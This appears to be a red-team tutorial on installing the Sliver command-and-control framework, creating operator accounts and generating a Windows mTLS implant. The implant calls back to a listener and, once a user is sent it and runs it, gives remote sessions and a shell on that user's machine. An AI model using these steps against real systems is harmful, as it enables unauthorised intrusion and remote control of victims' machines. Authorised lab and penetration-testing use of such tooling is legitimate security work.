# Sliver C2

## Installation

1. Download the server application

$ wget <https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-server_linux.zip>

^ Whichever is the new release

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2\. Unzip the file

$ unzip sliver-server\_linux.zip

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3\. Install the required Libraries

$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

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4\. Run the application

$ sudo ./sliver-server

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5\. Now we need to create a session for a player to connect, and then play the player database

$ new-player --operator brinkles --lhost 192.168.0.21

$ players

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6\. The file .cfg created will need to be installed in the clients host, so save it for later! Lets start the Multiplayer mode.

$ multiplayer

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## Client

Download the client application

$ wget <https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-client_linux.zip>

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Unzip the application

$ unzip sliver-client\_linux.zip

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Install the required libraries

$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

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Try to run the application

$ sudo ./sliver-client

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This is where you will need to copy that .cfg file. Copy the file into /home/kali/,sliver-client/configs

Try to run the application again

$ sudo ./sliver-client

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We are logged into that player!&#x20;

## How to Use Sliver

$ help

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Display players database:

$ players

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To create new players accounts, this can only be run from the sliver server not the client

$ new-player --operator \<username>  --lhost \<DNS or IP of the server>

Display the Sliver version

$ version

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## Generating Payload steps

We need to Generate an Implant (mtls, http, dns), this will generate a file saved at the location specified generate Generate a sliver binary. Lets do MTLS.

$ generate --mtls 192.168.0.21 --save ./file.exe --os Windows

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Now, we can start the listener. Types of listeners can be http, https, dns, and mtls

$ mtls

$ jobs

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Lets deliver the generated mtls exe and send to the user. Once the user executes teh payload, you will see this on your screen...

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Lets show all active sessions

$ sessions -h

$ sessions

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To kill the session, run...

$ session -k 1

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To interact with the session, do...

$ sessions

$ session -i 7

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Running help you can see all the available commands to run

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Lets run some commands to test what you can do.&#x20;

$ whoami

$ info

$ shell

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## Resources

<https://vk9-sec.com/how-to-set-up-use-c2-sliver/>


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